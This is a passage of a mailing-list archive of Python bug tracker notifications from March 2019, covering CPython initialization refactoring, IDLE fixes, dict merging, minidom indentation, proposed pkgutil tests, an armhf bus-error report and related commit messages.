_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:21:39 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 26 Mar 2019 23:21:39 +0000
Subject: [issue31466] No easy way to change float formatting when subclassing
 encoder.JSONEncoder
In-Reply-To: <1505382493.14.0.667053401798.issue31466@psf.upfronthosting.co.za>
Message-ID: <1553642499.16.0.0264320807779.issue31466@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
versions: +Python 3.7, Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31466>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:44:24 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Tue, 26 Mar 2019 23:44:24 +0000
Subject: [issue30337] Vague wording of pkgutil.walk_packages parameter 'prefix'
In-Reply-To: <1494449389.02.0.790150087603.issue30337@psf.upfronthosting.co.za>
Message-ID: <1553643864.66.0.522627131296.issue30337@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30337>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:53:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 23:53:00 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
Message-ID: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

The _PyMainInterpreterConfig structure is redundant with _PyCoreConfig: it is a subset but using PyObject*. PyInterpreterState has 2 fields:

    _PyCoreConfig core_config;
    _PyMainInterpreterConfig config;

config parameters can be found in core_config, but using a different type: it introduces redundancy and a risk of inconsitency (if one is modified, but not the other).

_PyMainInterpreterConfig doesn't provide any feature which is not accessible using _PyCoreConfig.

----------
components: Interpreter Core
messages: 338924
nosy: vstinner
priority: normal
severity: normal
status: open
title: Python initialization: remove _PyMainInterpreterConfig
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:55:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 26 Mar 2019 23:55:16 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553644516.54.0.148022513639.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

The feature has been implemented, I close the issue. The work is continued in other issues.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:58:28 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 26 Mar 2019 23:58:28 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
In-Reply-To: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>
Message-ID: <1553644708.74.0.0391860399642.issue36429@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 6a258c88906a7e8acde455ee2acb78b6f315ea0b by Terry Jan Reedy in branch 'master':
bpo-36429: Fix starting IDLE with pyshell (#12548)
https://github.com/python/cpython/commit/6a258c88906a7e8acde455ee2acb78b6f315ea0b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Tue Mar 26 19:58:34 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 26 Mar 2019 23:58:34 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
In-Reply-To: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>
Message-ID: <1553644714.94.0.489679985637.issue36429@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12515

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Tue Mar 26 20:16:13 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 27 Mar 2019 00:16:13 +0000
Subject: [issue36431] Use dict unpacking for merging two dicts
In-Reply-To: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>
Message-ID: <1553645773.76.0.568810849183.issue36431@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

3 years ago, Trey Hunter found 11 ways to merge to a new dict.
https://treyhunner.com/2016/02/how-to-merge-dictionaries-in-python/
He followed up with a performance comparison.
https://gist.github.com/treyhunner/f35292e676efa0be1728
** unpacking was nearly twice as fast as the 2nd place methods.
(Bigger dict might change the ratio, but I expect ** unpacking to remain first.)

Trey's summary: "This is simple and Pythonic. There are quite a few symbols, but it?s fairly clear that the output is a dictionary at least."  I consider the last point a major plus.

User comment: "Beautiful. Pythonic. Thank you."  No negatives.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Tue Mar 26 20:19:26 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 00:19:26 +0000
Subject: [issue36429] Fix starting IDLE with pyshell
In-Reply-To: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>
Message-ID: <1553645966.96.0.774987433119.issue36429@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 23eb816399ac7482d2bd7d50814b19a3db52e7d4 by Miss Islington (bot) in branch '3.7':
bpo-36429: Fix starting IDLE with pyshell (GH-12548)
https://github.com/python/cpython/commit/23eb816399ac7482d2bd7d50814b19a3db52e7d4


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36429>
_______________________________________

From report at bugs.python.org  Tue Mar 26 20:20:02 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 00:20:02 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553646002.47.0.864097464808.issue36444@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12516
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Tue Mar 26 20:36:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 00:36:19 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553646979.58.0.279870597995.issue36444@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 8b9dbc017a190d13f717e714630d620adb7c7ac2 by Victor Stinner in branch 'master':
bpo-36444: Remove _PyMainInterpreterConfig (GH-12571)
https://github.com/python/cpython/commit/8b9dbc017a190d13f717e714630d620adb7c7ac2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Tue Mar 26 20:42:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 00:42:58 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553647378.87.0.162122925922.issue36444@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12517

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:04:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 01:04:19 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553648659.3.0.721563768361.issue36444@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 484f20d2ff95cc2e1bea759852da307bc1d1d944 by Victor Stinner in branch 'master':
bpo-36444: Add _PyCoreConfig._init_main (GH-12572)
https://github.com/python/cpython/commit/484f20d2ff95cc2e1bea759852da307bc1d1d944


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:15:00 2019
From: report at bugs.python.org (Rune Tynan)
Date: Wed, 27 Mar 2019 01:15:00 +0000
Subject: [issue18697] Unify arguments names in Unicode object C API
 documentation
In-Reply-To: <1376074126.58.0.40251146149.issue18697@psf.upfronthosting.co.za>
Message-ID: <1553649300.5.0.913402542867.issue18697@roundup.psfhosted.org>


Change by Rune Tynan <runetynan at gmail.com>:


----------
nosy: +Rune Tynan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18697>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:21:30 2019
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Wed, 27 Mar 2019 01:21:30 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553649690.1.0.673366820937.issue33832@roundup.psfhosted.org>


?ric Araujo <merwok at netwok.org> added the comment:


New changeset f760610bddd7e8f8ac0914d5d59ef806bc16a73b by ?ric Araujo (Andre Delfino) in branch 'master':
bpo-33832: Add "magic method" glossary entry (GH-7630)
https://github.com/python/cpython/commit/f760610bddd7e8f8ac0914d5d59ef806bc16a73b


----------
nosy: +eric.araujo

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:21:39 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 01:21:39 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553649699.21.0.535481371075.issue33832@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12518

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:21:49 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 01:21:49 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553649709.56.0.307854625087.issue33832@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12519

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:26:17 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 01:26:17 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553649977.09.0.65771581452.issue33832@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 6cbb4c0795099b79f0a7c7d20df4ba1c1ec0ac24 by Miss Islington (bot) in branch '2.7':
bpo-33832: Add "magic method" glossary entry (GH-7630)
https://github.com/python/cpython/commit/6cbb4c0795099b79f0a7c7d20df4ba1c1ec0ac24


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:26:54 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 01:26:54 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553650014.45.0.295163939555.issue33832@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset ead15795986972690217e52087eb946b8a5bbcda by Miss Islington (bot) in branch '3.7':
bpo-33832: Add "magic method" glossary entry (GH-7630)
https://github.com/python/cpython/commit/ead15795986972690217e52087eb946b8a5bbcda


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Tue Mar 26 21:55:31 2019
From: report at bugs.python.org (Windson Yang)
Date: Wed, 27 Mar 2019 01:55:31 +0000
Subject: [issue14817] pkgutil.extend_path has no tests
In-Reply-To: <1337109540.72.0.0262382182113.issue14817@psf.upfronthosting.co.za>
Message-ID: <1553651731.06.0.485854699573.issue14817@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

My base idea would be some unittests for the function like:

class ExtendPathBaseTests(unittest.TestCase):
    def test_input_string(self):
        path = 'path'
        name = 'foo'
        self.assertEqual('path', pkgutil.extend_path(path, name))

    def test_parent_package_raise_key_error(self):
        path = ['path']
        # sys.modules['foo'] raise KeyError
        name = 'foo.bar'
        self.assertEqual(['path'], pkgutil.extend_path(path, name))

    def test_parent_package_raise_attr_error(self):
        path = ['path']
        # datetime module don't have __path__ attr
        name = 'datetime.date'
        self.assertEqual(['path'], pkgutil.extend_path(path, name))

I would move forward if we agreed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14817>
_______________________________________

From report at bugs.python.org  Tue Mar 26 22:01:57 2019
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Wed, 27 Mar 2019 02:01:57 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553652117.62.0.195984475028.issue33832@roundup.psfhosted.org>


?ric Araujo <merwok at netwok.org> added the comment:

Thanks for the patch!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Tue Mar 26 22:04:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 27 Mar 2019 02:04:11 +0000
Subject: [issue36444] Python initialization: remove _PyMainInterpreterConfig
In-Reply-To: <1553644380.25.0.294234287845.issue36444@roundup.psfhosted.org>
Message-ID: <1553652251.59.0.04420188347.issue36444@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12520

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36444>
_______________________________________

From report at bugs.python.org  Tue Mar 26 22:05:56 2019
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 27 Mar 2019 02:05:56 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553652356.7.0.431401989129.issue36384@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12521
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Wed Mar 27 01:59:02 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 05:59:02 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553666342.55.0.677671025996.issue36407@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 384b81d923addd52125e94470b11d2574ca266a9 by Serhiy Storchaka (Vladimir Surjaninov) in branch 'master':
bpo-36407: Fix writing indentations of CDATA section (xml.dom.minidom). (GH-12514)
https://github.com/python/cpython/commit/384b81d923addd52125e94470b11d2574ca266a9


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:02:32 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 06:02:32 +0000
Subject: [issue36431] Use dict unpacking for merging two dicts
In-Reply-To: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>
Message-ID: <1553666552.83.0.866027114111.issue36431@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset da0847048aa7f934573fa449cea8643def056aa5 by Serhiy Storchaka in branch 'master':
bpo-36431: Use PEP 448 dict unpacking for merging two dicts. (GH-12553)
https://github.com/python/cpython/commit/da0847048aa7f934573fa449cea8643def056aa5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:15:07 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 06:15:07 +0000
Subject: [issue36431] Use dict unpacking for merging two dicts
In-Reply-To: <1553581988.35.0.681522734554.issue36431@roundup.psfhosted.org>
Message-ID: <1553667307.1.0.194463977234.issue36431@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I hope the low number of such changes has clearly shown that we do not need the plus operator as yet one way of merging two dicts.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36431>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:19:22 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 27 Mar 2019 06:19:22 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553667562.45.0.648269741147.issue36407@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12522

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:19:42 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 06:19:42 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553667582.89.0.767201589137.issue36407@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Should we backport this change? I am not sure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:32:51 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 27 Mar 2019 06:32:51 +0000
Subject: [issue36384] ipaddress Should not reject IPv4 addresses with leading
 zeroes as ambiguously octal
In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>
Message-ID: <1553668371.63.0.266303129512.issue36384@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:35:00 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 06:35:00 +0000
Subject: [issue29986] Documentation recommends raising TypeError from
 tp_richcompare
In-Reply-To: <1491346313.99.0.131506773991.issue29986@psf.upfronthosting.co.za>
Message-ID: <1553668500.52.0.762895199674.issue29986@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

The consensus is clearly to return NotImplemented in this case, also because that's what most builtins do, like the object() example that you mentioned.

However, I would rather keep that note and change it to say return NotImplemented. It's an important difference between tp_richcompare and the 6 Python methods __eq__ and friends. Explicitly saying what do you if you only want __eq__ and __ne__ but no other operators (which is not exceptional at all) looks useful to me.

----------
nosy: +jdemeyer

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29986>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:39:07 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 27 Mar 2019 06:39:07 +0000
Subject: [issue36432] Running python test suite fails on macOS 10.14.4 with
 resource.RLIMIT_STACK error
In-Reply-To: <1553584151.61.0.380593331105.issue36432@roundup.psfhosted.org>
Message-ID: <1553668747.81.0.894837527603.issue36432@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I think this issue is duplicate of https://bugs.python.org/issue34602

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36432>
_______________________________________

From report at bugs.python.org  Wed Mar 27 02:44:35 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 27 Mar 2019 06:44:35 +0000
Subject: [issue33832] doc Add "magic method" entry to Glossary
In-Reply-To: <1528718191.62.0.592728768989.issue33832@psf.upfronthosting.co.za>
Message-ID: <1553669075.45.0.180100574092.issue33832@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Several hours ago, I read the unittest.mock doc, which uses 'magic methods' to explain MagicMock.  So I decided an entry really was needed.  Andr?s, thanks for sticking with this,

----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33832>
_______________________________________

From report at bugs.python.org  Wed Mar 27 03:04:43 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Wed, 27 Mar 2019 07:04:43 +0000
Subject: [issue36407] xml.dom.minidom wrong indentation writing for CDATA
 section
In-Reply-To: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>
Message-ID: <1553670283.98.0.269889647971.issue36407@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

I don't think this should be backported. Pretty-printing is not a production relevant feature, more of a "debugging, diffing and help users see what they get" kind of feature. It's good to have it fixed for the future, but we shouldn't bother users with it during a point release.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Wed Mar 27 03:38:42 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 27 Mar 2019 07:38:42 +0000
Subject: [issue34162] idlelib/NEWS.txt for 3.8.0 (and backports)
In-Reply-To: <1532067299.29.0.56676864532.issue34162@psf.upfronthosting.co.za>
Message-ID: <1553672322.6.0.784690602616.issue34162@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
pull_requests: +12523

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34162>
_______________________________________

From report at bugs.python.org  Wed Mar 27 04:36:17 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 27 Mar 2019 08:36:17 +0000
Subject: [issue32380] functools.singledispatch interacts poorly with methods
In-Reply-To: <1513722188.44.0.213398074469.issue32380@psf.upfronthosting.co.za>
Message-ID: <1553675777.55.0.409206786811.issue32380@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12524

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32380>
_______________________________________

From report at bugs.python.org  Wed Mar 27 04:44:17 2019
From: report at bugs.python.org (Matthias Klose)
Date: Wed, 27 Mar 2019 08:44:17 +0000
Subject: [issue36445] bus error in test_gil test on armhf running with 64bit
 kernel
Message-ID: <1553676257.29.0.460589277249.issue36445@roundup.psfhosted.org>


New submission from Matthias Klose <doko at debian.org>:

seen with 3.7,3, not 3.8 alpha3.

bus error in test_gil test on armhf with 64bit kernel, one more unaligned access. not seen in debug builds.

https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-disco/disco/armhf/p/python3.7/20190327_025457_8b623@/log.gz

test_extra_sha3 (test.test_hashlib.HashLibTestCase) ... ok
test_get_builtin_constructor (test.test_hashlib.HashLibTestCase) ... ok
test_gil (test.test_hashlib.HashLibTestCase) ... Fatal Python error: Bus error

Current thread 0xf7bcd210 (most recent call first):
  File "/usr/lib/python3.7/test/test_hashlib.py", line 788 in test_gil
  File "/usr/lib/python3.7/unittest/case.py", line 615 in run
  File "/usr/lib/python3.7/unittest/case.py", line 663 in __call__
  File "/usr/lib/python3.7/unittest/suite.py", line 122 in run
  File "/usr/lib/python3.7/unittest/suite.py", line 84 in __call__
  File "/usr/lib/python3.7/unittest/suite.py", line 122 in run
  File "/usr/lib/python3.7/unittest/suite.py", line 84 in __call__
  File "/usr/lib/python3.7/unittest/suite.py", line 122 in run
  File "/usr/lib/python3.7/unittest/suite.py", line 84 in __call__
  File "/usr/lib/python3.7/unittest/runner.py", line 176 in run
  File "/usr/lib/python3.7/test/support/__init__.py", line 1899 in _run_suite
  File "/usr/lib/python3.7/test/support/__init__.py", line 1995 in run_unittest
  File "/usr/lib/python3.7/test/libregrtest/runtest.py", line 178 in test_runner
  File "/usr/lib/python3.7/test/libregrtest/runtest.py", line 182 in runtest_inner
  File "/usr/lib/python3.7/test/libregrtest/runtest.py", line 137 in runtest
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 305 in rerun_failed_tests
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 623 in _main
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 586 in main
  File "/usr/lib/python3.7/test/libregrtest/main.py", line 640 in main
  File "/usr/lib/python3.7/test/__main__.py", line 2 in <module>
  File "/usr/lib/python3.7/runpy.py", line 85 in _run_code
  File "/usr/lib/python3.7/runpy.py", line 193 in _run_module_as_main
Bus error (core dumped)

----------
components: Extension Modules
keywords: 3.7regression
messages: 338944
nosy: doko
priority: normal
severity: normal
status: open
title: bus error in test_gil test on armhf running with 64bit kernel
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36445>
_______________________________________

From report at bugs.python.org  Wed Mar 27 05:15:21 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 27 Mar 2019 09:15:21 +0000
Subject: [issue32380] functools.singledispatch interacts poorly with methods
In-Reply-To: <1513722188.44.0.213398074469.issue32380@psf.upfronthosting.co.za>
Message-ID: <1553678121.93.0.181421693721.issue32380@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset bc284f0c7a9a7a9a4bf12c680823023a6770ce06 by Inada Naoki in branch 'master':
bpo-32380: add "versionadded: 3.8" to singledispatchmethod (GH-12580)
https://github.com/python/cpython/commit/bc284f0c7a9a7a9a4bf12c680823023a6770ce06


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32380>
_______________________________________

From report at bugs.python.org  Wed Mar 27 05:44:44 2019
From: report at bugs.python.org (Slim)
Date: Wed, 27 Mar 2019 09:44:44 +0000
Subject: [issue36446] Need Windows x86-64 MSI installer for Python >= 3.x.x
Message-ID: <1553679884.72.0.161071548303.issue36446@roundup.psfhosted.org>


New submission from Slim <s.bouziri at eona.com>:

Currently, Windows MSI installers are only available for Python versions <= 2.7.16.

Could you please generate Windows MSI installers also for Python versions >= 3.x.x in order to be able to upgrade from 2.7.16 version to latest 3.x.x version?

Indeed, Python 2.7.x versions will be deprecated at the end of 2019, as shown by following log:

DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.

----------
components: Windows
messages: 338946
nosy: paul.moore, steve.dower, telatoa, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Need Windows x86-64 MSI installer for Python >= 3.x.x
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36446>
_______________________________________

From report at bugs.python.org  Wed Mar 27 05:52:29 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Wed, 27 Mar 2019 09:52:29 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553680349.46.0.420091037998.issue36433@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

I am curious, how did you find out about this bug? Do you have a concrete use case for directly calling an instance of classmethod_descriptor? Typically, one would write dict.fromkeys(...) instead of dict.__dict__['fromkeys'](dict, ...).

----------
nosy: +jdemeyer

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Wed Mar 27 05:55:02 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 27 Mar 2019 09:55:02 +0000
Subject: [issue36433] Unhelpful error message in classmethoddescr_call()
In-Reply-To: <1553587915.75.0.69915652886.issue36433@roundup.psfhosted.org>
Message-ID: <1553680502.37.0.525262092146.issue36433@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

See https://github.com/python/cpython/pull/11930

I found this while I wrote tests about error messages.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36433>
_______________________________________

From report at bugs.python.org  Wed Mar 27 06:00:53 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 27 Mar 2019 10:00:53 +0000
